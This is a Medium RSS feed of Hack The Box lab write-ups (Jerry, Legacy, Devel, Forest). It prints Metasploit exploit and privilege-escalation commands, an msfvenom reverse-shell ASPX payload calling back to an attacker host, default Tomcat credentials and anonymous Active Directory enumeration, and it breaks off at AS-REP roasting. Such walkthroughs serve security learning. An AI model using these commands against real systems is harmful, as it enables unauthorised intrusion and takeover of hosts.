<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Uddhav Sethi on Medium]]></title>
        <description><![CDATA[Stories by Uddhav Sethi on Medium]]></description>
        <link>https://medium.com/@sethiuddhav?source=rss-c82ff8e6b08d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*06eqrGhAUcyU0FeL</url>
            <title>Stories by Uddhav Sethi on Medium</title>
            <link>https://medium.com/@sethiuddhav?source=rss-c82ff8e6b08d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 11:12:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sethiuddhav/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTB Jerry Write-up: Exploiting Apache Tomcat]]></title>
            <link>https://medium.com/@sethiuddhav/htb-jerry-write-up-exploiting-apache-tomcat-2a778e85b28e?source=rss-c82ff8e6b08d------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a778e85b28e</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[apache]]></category>
            <category><![CDATA[tomcat]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <dc:creator><![CDATA[Uddhav Sethi]]></dc:creator>
            <pubDate>Tue, 13 Oct 2026 15:00:18 GMT</pubDate>
            <atom:updated>2026-10-13T15:00:18.007Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Jerry is a retired machine on Hack The Box that demonstrates how a misconfigured or poorly secured Apache Tomcat instance can lead to a compromise of a Windows server.</p><p>The machine was a good exercise in understanding web enumeration, Tomcat Manager, WAR file deployment, and post-exploitation enumeration on Windows.</p><p>In this write-up, I’ll walk through the approach I followed, from identifying the exposed service to locating the flags.</p><p><strong>Target:</strong> Jerry<br><strong>Platform:</strong> Hack The Box<br><strong>Operating System:</strong> Windows Server 2012 R2<br><strong>Difficulty:</strong> Easy</p><h3><strong>Enumeration</strong></h3><p>I started by enumerating the target to identify exposed ports and running services.</p><p>The scan revealed that TCP port 8080 was open. Visiting the service in a browser showed that it was running Apache Tomcat.</p><p>Tomcat is a Java application server that allows Java web applications to run. It also provides a management interface for deploying and managing applications.</p><p>This discovery gave me a clear direction for further enumeration.</p><h3>2. Discovering Tomcat Manager</h3><p>I navigated to the Tomcat Manager interface:</p><p>http://&lt;TARGET_IP&gt;:8080/manager/html</p><p>The Manager interface is particularly interesting because users with sufficient privileges can deploy and manage web applications directly from a browser.</p><p>During enumeration, I identified credentials that allowed me to authenticate to the Manager interface:</p><ul><li><strong>Username:</strong> tomcat</li><li><strong>Password:</strong> s3cret</li></ul><p>Initially, I encountered a 403 Access Denied response. After troubleshooting the browser authentication, I was able to access the Manager dashboard.</p><p>This was an important turning point because I could now inspect the application’s deployment functionality.</p><h3>3. Understanding WAR File Deployment</h3><p>Tomcat supports applications packaged as WAR files.</p><p>WAR stands for <strong>Web Application Archive</strong>. It is essentially a ZIP-based archive containing the resources needed by a Java web application, such as JSP pages, compiled Java classes, and configuration files.</p><p>The Manager dashboard included a section for uploading and deploying a WAR file.</p><p>This presented an opportunity to investigate whether application deployment permissions could be abused to execute code on the server.</p><p>The general attack path was:</p><ol><li>Obtain valid Tomcat Manager credentials.</li><li>Authenticate to the management interface.</li><li>Prepare a WAR archive.</li><li>Deploy the application through Tomcat Manager.</li><li>Investigate the resulting access and enumerate the Windows environment.</li></ol><h3>4. Generating a WAR File with Metasploit</h3><p>I used msfvenom, the payload-generation utility included with the Metasploit Framework, to investigate Java payloads and WAR packaging.</p><p>First, I listed the available Java payloads:</p><pre>msfvenom --list payloads | grep java</pre><p>This showed several payload options, including Java shell and Meterpreter payloads.</p><p>I also examined the available output formats:</p><pre>msfvenom --list formats</pre><p>The war format is used to package supported payloads as Java web application archives.</p><p>The general syntax for generating an archive is:</p><pre>msfvenom -p &lt;payload&gt; &lt;options&gt; -f war -o payload.war</pre><p>Here, -p selects a payload, -f war specifies the output format, and -o sets the output filename.</p><p>The generated archive can then be inspected and, where authorized, deployed through the Tomcat Manager interface.</p><h3>5. Deploying the Application</h3><p>After accessing Tomcat Manager, I located the <strong>WAR file to deploy</strong> section.</p><p>The deployment process was straightforward:</p><ol><li>Select the WAR file.</li><li>Upload it through the Manager dashboard.</li><li>Click <strong>Deploy</strong>.</li><li>Check the applications table for the deployment status.</li></ol><h3>6. Post-Exploitation Enumeration</h3><p>Once I had access to the Windows command environment, I began exploring the filesystem.</p><p>I checked the current directory and then inspected the Administrator desktop for the flags.</p><p>The command I used was:</p><pre>dir &quot;C:\Users\Administrator\Desktop\flags&quot;</pre><p>The output revealed a text file named:</p><pre>2 for the price of 1.txt</pre><p>This was an interesting detail because the filename suggested that both flags were stored together.</p><p>I then read the file using:</p><pre>type &quot;C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt&quot;</pre><p>The dir command lists directory contents, while type prints a text file&#39;s contents directly in the Windows command prompt.</p><p>This completed the flag-discovery portion of my walkthrough.</p><h3>7. What I Learned</h3><p>Jerry helped me connect several concepts that I had previously studied separately.</p><p><strong>Web enumeration matters.</strong> Identifying an exposed service and understanding what it does is often more useful than immediately searching for an exploit.</p><p><strong>Credentials can be as important as vulnerabilities.</strong> Valid credentials for an administrative interface can expose functionality that would otherwise be unavailable.</p><p><strong>WAR deployment is a security boundary.</strong> Application deployment should be restricted to trusted administrators because deployed application code runs on the server under the permissions available to the application process.</p><p><strong>Post-exploitation enumeration is essential.</strong> Obtaining a command shell is not the end of a penetration test. Understanding the host, identifying accessible files, and documenting the findings are also important.</p><h3>Conclusion</h3><p>Jerry was a useful introduction to attacking a Windows-hosted web application server through its administrative interface.</p><p>The key lesson was the importance of securing Tomcat Manager with strong credentials, appropriate role assignments, and restricted access. Administrative deployment capabilities should never be exposed to untrusted users.</p><p>For anyone learning penetration testing, this machine is a good reminder to follow a methodical process: enumerate first, investigate what you discover, understand the underlying technology, and document each step clearly.</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a778e85b28e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB_LABS:LEGACY]]></title>
            <link>https://medium.com/@sethiuddhav/htb-labs-legacy-42f710c369ca?source=rss-c82ff8e6b08d------2</link>
            <guid isPermaLink="false">https://medium.com/p/42f710c369ca</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[ms08-067]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Uddhav Sethi]]></dc:creator>
            <pubDate>Mon, 12 Oct 2026 17:41:24 GMT</pubDate>
            <atom:updated>2026-10-12T17:41:24.517Z</atom:updated>
            <content:encoded><![CDATA[<p>In this write-up, I will document my process of solving <strong>Legacy</strong>, a Windows machine on Hack The Box (HTB). The objective of this initial phase is to identify the target’s exposed services, gather information about its operating system, and investigate potential vulnerabilities.</p><p>I started with network reconnaissance using Nmap, followed by an SMB vulnerability assessment. This helped me identify a potential attack path before attempting exploitation.</p><h3>Enumeration</h3><p>The first step in a penetration test is to identify which ports are open on the target and determine what services are running on them.</p><p>I ran an Nmap scan against the target machine to discover exposed TCP ports and identify their associated services.</p><pre>nmap -sV -sC -oN nmap_initial.txt 10.129.227.181</pre><pre>PORT      STATE    SERVICE      VERSION<br>135/tcp   open     msrpc        Microsoft Windows RPC<br>139/tcp   open     netbios-ssn  Microsoft Windows netbios-ssn<br>445/tcp   open     microsoft-ds Microsoft Windows XP microsoft-ds<br>54899/tcp filtered unknown</pre><h3>Initial conclusion</h3><p>The exposed SMB service on port 445 became the primary focus of the investigation. The Windows XP-related service fingerprint also suggested that the target might be running an older Windows operating system, although service fingerprints alone do not conclusively establish the exact OS version.</p><h3>Vulnerability assessment command</h3><pre>nmap -p 445 --script smb-vuln-ms17-010 10.129.227.181</pre><p>The command uses the following options:</p><ul><li>-p 445: Restricts the scan to TCP port 445, where SMB is running.</li><li>--script smb-vuln-ms17-010: Runs Nmap&#39;s NSE script to check for indicators of the MS17-010 vulnerability.</li><li>10.129.227.181: Specifies the target machine&#39;s IP address.</li></ul><p>By narrowing the scan to port 445, I could focus the investigation on the service most relevant to this vulnerability.</p><pre>PORT    STATE SERVICE<br>445/tcp open  microsoft-ds<br><br>Host script results:<br>| smb-vuln-ms17-010:<br>|   VULNERABLE:<br>|     Remote Code Execution vulnerability<br>|     in Microsoft SMBv1 servers (ms17-010)<br>|     State: VULNERABLE<br>|     IDs: CVE:CVE-2017-0143<br>|     Risk factor: HIGH</pre><h3>Understanding the finding</h3><p>The script reported that the target was vulnerable to MS17–010. This provided strong evidence that the exposed SMB service was susceptible to a serious security issue.</p><p>The output also referenced <strong>CVE-2017–0143</strong>, one of the vulnerabilities associated with the MS17–010 security bulletin.</p><p>MS17–010 affects SMBv1 implementations and can allow remote code execution under suitable conditions. Depending on the target’s configuration and the exploit used, this could allow an attacker to execute code on the remote system without first obtaining valid credentials.</p><p>This makes the finding particularly important because the vulnerable service was directly reachable over the network.</p><h3>Understanding the Windows XP Vulnerability</h3><p>While investigating the target, I also looked into <strong>CVE-2008–4250</strong>, commonly associated with the MS08–067 security bulletin.</p><p>MS08–067 is a remote code execution vulnerability affecting the Windows Server service on certain unpatched Windows versions.</p><p>In simple terms, a specially crafted network request can exploit a flaw in how the vulnerable service processes information. Under suitable conditions, this can allow an attacker to execute code remotely.</p><p>The Metasploit module associated with this vulnerability is:</p><pre>exploit/windows/smb/ms08_067_netapi</pre><p>This was an important distinction in my investigation: MS08–067 and MS17–010 are different vulnerabilities. Finding one does not automatically prove the presence of the other.</p><h3>Exploring Metasploit</h3><p>After identifying potential vulnerabilities, I opened Metasploit:</p><pre>msfconsole<br><br>search ms17-010<br><br>The search returned several modules, including:<br><br>exploit/windows/smb/ms17_010_eternalblue<br><br>exploit/windows/smb/ms17_010_psexec<br><br>auxiliary/scanner/smb/smb_ms17_010<br><br></pre><p>I inspected the module information to understand the supported targets and prerequisites.</p><p>This highlighted an important lesson: <strong>a vulnerability finding and an appropriate exploit are two separate things</strong>. An exploit must be compatible with the target’s operating system and configuration.</p><p>I then investigated the MS08–067 module.</p><h3>Verifying MS08–067</h3><pre>use exploit/windows/smb/ms08_067_netapi</pre><p>I checked its available options:</p><pre>show options</pre><p>The module required a target address through RHOSTS. I configured it with the IP address of the HTB machine:</p><pre>set RHOSTS 10.129.227.181<br>set LHOST kali_ip<br><br>check<br>[+] 10.129.227.181:445 - The target is vulnerable.<br>Target is vulnerable to MS08-067</pre><p>This gave me evidence that the target was vulnerable to MS08–067, independently of my earlier MS17–010 finding.</p><p>The next step was to attempt exploitation using the module.</p><h3>Obtaining a Meterpreter Session</h3><p>After configuring the module and checking the target, I attempted exploitation. Metasploit successfully established a Meterpreter session.</p><p>Meterpreter is an interactive post-exploitation environment that allows an operator to inspect system information and interact with a compromised machine.</p><p>I had moved beyond vulnerability detection: I now had a session on the target.</p><h3>Identifying the target system</h3><p>I ran:</p><pre>sysinfo</pre><p>The output was:</p><pre>Computer        : LEGACY<br>OS              : Windows XP (5.1 Build 2600, Service Pack 3).<br>Architecture    : x86<br>System Language : en_US<br>Domain          : HTB<br>Logged On Users : 1<br>Meterpreter     : x86/windows</pre><p>This confirmed several details about the machine:</p><ul><li><strong>Hostname:</strong> LEGACY</li><li><strong>Operating system:</strong> Windows XP Service Pack 3</li><li><strong>Architecture:</strong> 32-bit</li><li><strong>Language:</strong> US English</li></ul><p>My initial Nmap scan had suggested an older Windows operating system. The Meterpreter output now confirmed that the target was running Windows XP SP3.</p><h3>Checking the privilege level</h3><p>Next, I ran:</p><pre>getuid</pre><p>The result was:</p><pre>Server username: NT AUTHORITY\SYSTEM</pre><p>This was a significant result.</p><p>NT AUTHORITY\SYSTEM is a built-in Windows security identity used by the operating system. It has extensive privileges on the local machine, generally exceeding those of an ordinary user.</p><p>My session had therefore obtained SYSTEM-level access without requiring a separate privilege-escalation step.</p><h3>7. Enumerating Local User Accounts</h3><p>With access established, I began examining the target’s local user accounts.</p><p>From the Windows shell, I ran:</p><pre>net user</pre><p>The output listed these accounts:</p><pre>Administrator<br>Guest<br>HelpAssistant<br>john<br>SUPPORT_388945a0</pre><p>The account list provided useful context for the machine&#39;s user profiles.</p><p>I then inspected the Windows profile directory:</p><pre>dir &quot;C:\Documents and Settings&quot;</pre><p>The output included:</p><pre>Administrator<br>All Users<br>john</pre><p>This confirmed that a profile directory existed for john.</p><h3>8. Finding the User Flag</h3><p>Windows XP commonly stores user profiles under:</p><pre>C:\Documents and Settings\</pre><p>Based on the profile enumeration, I investigated the user&#39;s Desktop directory:</p><pre>dir &quot;C:\Documents and Settings\john\Desktop&quot;<br>dir &quot;C:\Documents and Settings\Administrator\Desktop&quot;</pre><p>I located and retrieved the user flag.</p><p>This completed the user-flag portion of the machine. I kept the actual flag value out of this write-up so that readers can complete the lab themselves.</p><h3>9. Lessons Learned</h3><p>Working through Legacy helped reinforce several important penetration-testing concepts.</p><p><strong>Reconnaissance comes first.</strong> Identifying open ports gave me a clear direction for further investigation.</p><p><strong>Vulnerability checks are valuable, but specific.</strong> My MS17-010 scan and MS08-067 check concerned different vulnerabilities. Each finding needed to be assessed independently.</p><p><strong>Exploit compatibility matters.</strong> A module&#39;s name alone is not enough to determine whether it is appropriate for a target. Operating system details, architecture, prerequisites, and exploit behavior all matter.</p><p><strong>Verify access after exploitation.</strong> The Meterpreter session confirmed code execution, while sysinfo and getuid established the target&#39;s identity and the session&#39;s privilege level.</p><p><strong>Enumeration continues after gaining access.</strong> Listing user accounts and inspecting profile directories helped me locate the user flag.</p><h3>Conclusion</h3><p>The main takeaway is that successful exploitation is not just about running an exploit. It involves gathering evidence, understanding the target, selecting an appropriate attack path, and verifying the results at every stage.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=42f710c369ca" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox:Devel]]></title>
            <link>https://medium.com/@sethiuddhav/hackthebox-devel-fe9c291fe881?source=rss-c82ff8e6b08d------2</link>
            <guid isPermaLink="false">https://medium.com/p/fe9c291fe881</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[devel]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Uddhav Sethi]]></dc:creator>
            <pubDate>Sat, 19 Sep 2026 13:40:10 GMT</pubDate>
            <atom:updated>2026-09-19T13:40:10.713Z</atom:updated>
            <content:encoded><![CDATA[<h3>Enumeration</h3><pre>sudo nmap -sV -p- --min-rate 5000 -T4 10.129.73.147</pre><pre>Result:<br>PORT STATE SERVICE VERSION<br>21/tcp open ftp Microsoft ftpd<br>80/tcp open http Microsoft IIS httpd 7.5<br>Service Info: OS: Windows</pre><p>Two things stand out immediately. First, this is an IIS box, not Apache/Nginx — that single fact will decide the payload extension we use later (ASP/ASPX, not PHP). Second, FTP is open. FTP by itself isn’t interesting; FTP that allows anonymous write access into a directory the web server also serves from is a critical misconfiguration — and it’s common enough on older IIS deployments to always be worth checking first</p><h3>FTP Enumeration &amp; the Shared-Root Misconfiguration</h3><p>The core vulnerability on this box is architectural, not a CVE: IIS’s FTP service and its web server were configured to point at the same document root (C:\inetpub\wwwroot).</p><p>Anything written via FTP becomes instantly reachable over HTTP.</p><p>This is a deployment mistake, not a bug in FTP or IIS themselves — but it’s extremely common because it’s the path of least resistance when someone sets up FTP for “convenient” file uploads to a website.</p><p>Confirming anonymous access</p><p>ftp 10.129.73.147</p><p>Name: anonymous</p><p>Password: (blank / anything)</p><p>Anonymous login succeeding is the first signal.</p><p>The second is confirming the shared root: list the directory and look for IIS’s default files.</p><pre>ftp&gt; dir<br>iisstart.htm<br>welcome.png</pre><p>Those are IIS’s stock default-site files — seeing them over FTP confirms we’re looking at the actual web root, not some isolated FTP-only sandbox directory. A quick sanity test (uploading a harmless test.txt and requesting it over HTTP) verifies the theory before committing to building a real payload.</p><h3>Web Enumeration</h3><p>The web server identifies as Microsoft IIS 7.5. IIS’s native server-side scripting technology is ASP / ASP.NET (.asp / .aspx), not PHP.</p><p>This matters because it decides which webshell format IIS will actually execute — uploading a .php file to an IIS server with no PHP interpreter installed just leaves an inert text file sitting in the web root; visiting it does nothing.</p><p>Key decision point:</p><p>server fingerprint → script extension. IIS → ASP/ASPX. Apache/Nginx+PHP-FPM → PHP.</p><p>Get this wrong and the whole chain stalls silently with no error message to debug.</p><h3>Building and Delivering the Payload</h3><pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=&lt;attacker-ip&gt; LPORT=4444 -f aspx -o shell.aspx</pre><p>Architecture — windows/, not windows/x64/.</p><p>This is decided by the target process, not the target OS in the abstract. The eventual privilege-escalation recon later confirms the IIS worker process is 32-bit, so an x64 payload would simply fail to execute in that process space.</p><p>• Payload type — Meterpreter, not a bare shell. Meterpreter is a full post-exploitation agent (file transfer, process interaction, and access to Metasploit’s post-exploitation module library like the local exploit suggester used later). A bare cmd shell would work for a foothold but would make every later step manual.</p><ul><li>Direction — reverse_tcp, not bind_tcp. The target is very likely to allow outbound connections while blocking unsolicited inbound ones. Reverse shells flip the direction so the target calls out to us, sidestepping that restriction entirely. The file is then uploaded exactly as any other FTP file would be: ftp&gt; binary ftp&gt; put shell.aspx</li></ul><pre>FTP defaults to ASCII transfer mode, which silently corrupts binary payloads <br>by mangling line-ending bytes. Always switch to `binary` mode <br>before uploading a compiled payload — this is<br>one of the most common &quot;my shell never calls back&quot; causes for beginners.</pre><h3>Catching the Shell: The Metasploit Handler, Explained</h3><p>A payload with nowhere to call back to is useless. Before triggering the ASPX file, a listener has to be standing by, configured identically to what was baked into the payload</p><pre>msfconsole -q<br>use exploit/multi/handler<br>set payload windows/meterpreter/reverse_tcp<br>set LHOST tun0<br>run</pre><p>Breaking this down line by line, since each piece has a distinct job:</p><p>• msfconsole -q — launches Metasploit quietly, skipping the startup banner. • exploit/multi/handler — not an exploit against a vulnerability; it’s a generic listener that catches connections from a payload that was already triggered some other way (here, via the uploaded ASPX file).</p><ul><li>set payload … — must exactly match the payload embedded in shell.aspx, or the handshake won’t complete.</li></ul><p>• set LHOST tun0 — binds to the HTB VPN interface rather than a hardcoded IP, since VPN-assigned addresses can change between sessions.</p><p>• run — starts listening. Order matters: the handler needs to be running before the payload is triggered, or the initial callback attempt is simply missed.</p><p>With the handler running, visiting <a href="http://target/shell.aspx">http://target/shell.aspx</a> in a browser (or via curl) makes IIS execute the file. The embedded shellcode runs, the target opens a connection back to LHOST:LPORT, and the waiting handler upgrades that raw connection into an interactive Meterpreter session</p><h3><strong>Initial Foothold &amp; Local Enumeration</strong></h3><p>The session that lands is not an administrator — it’s the identity IIS’s application pool runs as:</p><pre>whoami<br>=&gt; iis apppool\web</pre><p>This is expected and important to internalize: web servers deliberately run under low-privilege service accounts precisely so that compromising the web application doesn’t hand an attacker the whole box. Getting code execution is step one; privilege escalation is a separate, necessary step two. From here, local enumeration builds the picture needed to choose an escalation path:</p><pre>systeminfo<br>net users<br>net user Administrator<br>net user babis<br>whoami /priv<br>whoami /groups<br></pre><p>The results that matter:</p><ul><li>OS: Windows 7 Enterprise, Build 7600, x86 — an old, unpatched build with Hotfix(s): N/A reported.</li></ul><p>• Local users: Administrator (Administrators group), babis (Users group, no password required), Guest.</p><p>• Privileges: SeImpersonatePrivilege is Enabled for the current IIS App Pool identity — a specific, well-known privilege-escalation precondition. • Groups: membership in IIS/service-related groups only; not a member of BUILTIN\Administrators, and High Mandatory Level does not by itself imply admin rights.</p><p><strong>At this point there are two independent signals pointing toward privilege escalation: an old, unpatched kernel (suggesting known Windows kernel exploits) and an enabled impersonation privilege (suggesting a Potato-family attack).</strong></p><p><strong>Good enumeration surfaces both before committing to either.</strong></p><h3>Choosing a Privilege Escalation Path</h3><pre>background<br>use post/multi/recon/local_exploit_suggester<br>set SESSION &lt;id&gt;<br>run</pre><p>This module doesn’t exploit anything itself — it fingerprints the target’s OS build and checks it against Metasploit’s catalog of known local privilege-escalation modules, reporting which ones are plausibly applicable.</p><p>On this box, it returned a long list, including two paths that ended up being the most relevant given the enumeration above:</p><h3>Path A — Kernel Exploit (MS14–058)</h3><p>ms14_058_track_popup_menu targets a vulnerability in win32k.sys’s handling of a specific Windows UI message (TrackPopupMenu), allowing an unprivileged process to corrupt kernel memory and escalate to SYSTEM. It’s a patch-level bug: it doesn’t care what privileges your current token holds, only whether the specific kernel patch is missing.</p><pre>use exploit/windows/local/ms14_058_track_popup_menu<br>set SESSION &lt;id&gt;<br>set LHOST tun0<br>set payload windows/meterpreter/reverse_tcp<br>run</pre><p>Why this one first, practically speaking: it’s a single self-contained Metasploit module with no manual binary upload or extra configuration decisions required, and the recon module had already given it a semi-confirmed signal (“appears vulnerable”, cross-referenced against build 7600). Low setup cost, pre-validated signal — a reasonable first thing to try. Running it successfully produces a new session as SYSTEM:</p><pre>meterpreter &gt; getuid<br>Server username: NT AUTHORITY\SYSTEM</pre><h3>Path B — Impersonation Exploit (MS16–075 / Juicy Potato)</h3><p>The second path is arguably the more directly justified one, because it exploits the exact privilege confirmed during enumeration rather than an inferred patch gap. SeImpersonatePrivilege lets a process impersonate the security context of any client that authenticates to it. “Potato”-family attacks (Hot Potato, Juicy Potato, and the Metasploit-packaged ms16_075_reflection_juicy variant used here) abuse this by tricking a SYSTEM-level COM/DCOM service into authenticating to a listener the attacker controls, then impersonating that authenticated token to spawn a process as SYSTEM.</p><pre>use exploit/windows/local/ms16_075_reflection_juicy<br>set SESSION &lt;id&gt;<br>set LHOST tun0<br>set LPORT 4445<br>run</pre><p>Note the different LPORT: the original handler session is still bound to 4444, so a fresh local exploit attempt needs its own port to avoid a conflict.</p><p>To actually observe the Juicy Potato mechanism fire end-to-end (rather than get short-circuited by the already-elevated check), it needs to be run against the original low-privilege session — the one still running as iis apppool\web — not a session that has already been escalated via the kernel exploit</p><h3>Why Two Paths Existed, and How to Choose Between Them</h3><p>It’s tempting to look for “the” intended exploit on a box like this. Devel is a good counterexample:</p><p>it has two independently-working root causes, and the choice between them comes down to a practical decision framework rather than a single correct answer.</p><p>The decision framework</p><ul><li>What’s confirmed, not just plausible? An enabled privilege (SeImpersonatePrivilege) observed directly via whoami /priv is a harder fact than a patch-level guess from an OS build string.</li></ul><p>• What’s the setup cost? A packaged Metasploit module (few set commands) beats a manual binary upload requiring a correct CLSID for the OS version.</p><p>• What’s been pre-validated by tooling? local_exploit_suggester gives a checked signal for kernel exploits; impersonation-privilege attacks are usually inferred by the operator from raw privilege output, with less automatic confirmation.</p><ul><li>If the first attempt fails, move to the next lead. This is exactly why recon tooling returns a ranked list rather than one verdict — try the cheapest, most-confirmed option first, then fall back.</li></ul><p>Neither path is more “correct” than the other. The broader lesson for any real engagement or CTF is that thorough enumeration often surfaces more than one viable escalation route, and picking between them is a matter of confidence and cost, not memorizing a single canonical writeup.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fe9c291fe881" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB:Forest]]></title>
            <link>https://medium.com/@sethiuddhav/htb-forest-dbef2683861b?source=rss-c82ff8e6b08d------2</link>
            <guid isPermaLink="false">https://medium.com/p/dbef2683861b</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[machine]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Uddhav Sethi]]></dc:creator>
            <pubDate>Wed, 19 Aug 2026 15:31:27 GMT</pubDate>
            <atom:updated>2026-08-19T15:31:27.868Z</atom:updated>
            <content:encoded><![CDATA[<h3>Enumeration</h3><p>I started with an Nmap scan to identify the services exposed by the target.</p><pre> sudo nmap -sV -p- --min-rate 5000 -T4 10.129.95.210</pre><pre>PORT      STATE SERVICE      VERSION<br>53/tcp    open  domain       Simple DNS Plus<br>88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-29 17:15:06Z)<br>135/tcp   open  msrpc        Microsoft Windows RPC<br>139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn<br>389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB)<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped<br>3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped<br>5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>9389/tcp  open  mc-nmf       .NET Message Framing<br>47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>49664/tcp open  msrpc        Microsoft Windows RPC<br>49665/tcp open  msrpc        Microsoft Windows RPC<br>49666/tcp open  msrpc        Microsoft Windows RPC<br>49668/tcp open  msrpc        Microsoft Windows RPC<br>49670/tcp open  msrpc        Microsoft Windows RPC<br>49680/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0<br>49681/tcp open  msrpc        Microsoft Windows RPC<br>49687/tcp open  msrpc        Microsoft Windows RPC<br>49697/tcp open  msrpc        Microsoft Windows RPC<br>Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SxOiV_PzOfFMmofZPHMcqQ.png" /></figure><p>The scan revealed a large number of open ports. The most interesting ones were:</p><pre>53/tcp    open  domain       Simple DNS Plus<br>88/tcp    open  kerberos-sec Microsoft Windows Kerberos<br>135/tcp   open  msrpc        Microsoft Windows RPC<br>139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn<br>389/tcp   open  ldap         Microsoft Windows Active Directory LDAP<br>445/tcp   open  microsoft-ds Microsoft Windows SMB<br>464/tcp   open  kpasswd5<br>593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP<br>636/tcp   open  tcpwrapped<br>3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP<br>5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0<br>9389/tcp  open  mc-nmf       .NET Message Framing<br>47001/tcp open  http         Microsoft HTTPAPI httpd 2.0</pre><p>The combination of <strong>Kerberos (88), LDAP (389), SMB (445), and WinRM (5985)</strong> strongly suggested that this was an <strong>Active Directory Domain Controller</strong>.</p><p>The Nmap output also revealed the domain:</p><pre>Domain: htb.local</pre><p>Since LDAP was exposed, I decided to enumerate the Active Directory environment.</p><h3>LDAP Enumeration</h3><p>I first queried the LDAP server for its naming contexts:</p><pre>ldapsearch -x -H ldap://10.129.95.210 -s base namingcontexts</pre><h3>The -x option is important here.</h3><p>It tells ldapsearch to use <strong>simple authentication</strong> rather than SASL. Since no username or password was supplied, this resulted in an <strong>anonymous LDAP bind</strong>.</p><p>In simple terms:</p><blockquote><em>We are asking the LDAP server for information without authenticating as a specific user.</em></blockquote><p>The query returned:</p><pre>DC=htb,DC=local</pre><p>This is the <strong>Base Distinguished Name (Base DN)</strong> of the domain.</p><p>Think of Active Directory as a directory tree:</p><pre>htb.local<br>│<br>├── Users<br>├── Computers<br>├── Groups<br>└── Policies</pre><p>The Base DN tells LDAP where the root of that directory tree is located.</p><p>Therefore:</p><pre>DC=htb,DC=local</pre><p>means:</p><blockquote><em>Start searching from the root of the </em><em>htb.local domain.</em></blockquote><h3>Enumerating Domain Users</h3><p>Now that I knew the Base DN, I could query LDAP for user objects.</p><pre>ldapsearch -x \<br>-H ldap://10.129.95.210 \<br>-b &quot;DC=htb,DC=local&quot; \<br>&quot;(objectClass=user)&quot; sAMAccountName</pre><h3>The important part of this query is:</h3><pre>(objectClass=user)</pre><p>This is an <strong>LDAP search filter</strong>.</p><p>You can think of it similarly to a WHERE clause in SQL.</p><p>For example, in SQL:</p><pre>SELECT * FROM objects<br>WHERE objectClass = &#39;user&#39;;</pre><p>LDAP uses:</p><pre>(objectClass=user)</pre><p>The meaning is simply:</p><blockquote><em>Only return objects whose type is </em><em>user.</em></blockquote><p>The sAMAccountName attribute then asks LDAP to return the users&#39; logon names.</p><p>However, LDAP enumeration did not give me everything I wanted, so I moved to another method of enumerating domain users.</p><h3>Enumerating Users with NetExec</h3><p>I used NetExec’s SMB user enumeration functionality:</p><pre>netexec smb 10.129.47.51 -u &#39;&#39; -p &#39;&#39; --users</pre><p>The -u &#39;&#39; -p &#39;&#39; specifies an empty username and password, allowing me to test whether the server permitted unauthenticated enumeration.</p><p>The output returned a list of domain users.</p><p>I then extracted the usernames into a file:</p><pre>netexec smb 10.129.47.51 -u &#39;&#39; -p &#39;&#39; --users | \<br>grep &quot;SMB&quot; | \<br>awk &#39;{print $5}&#39; | \<br>grep -v &quot;Username&quot; &gt; users.txt</pre><p>This gave me a clean list of usernames that I could use for further enumeration.</p><h3>AS-REP Roasting</h3><p>With a list of valid domain 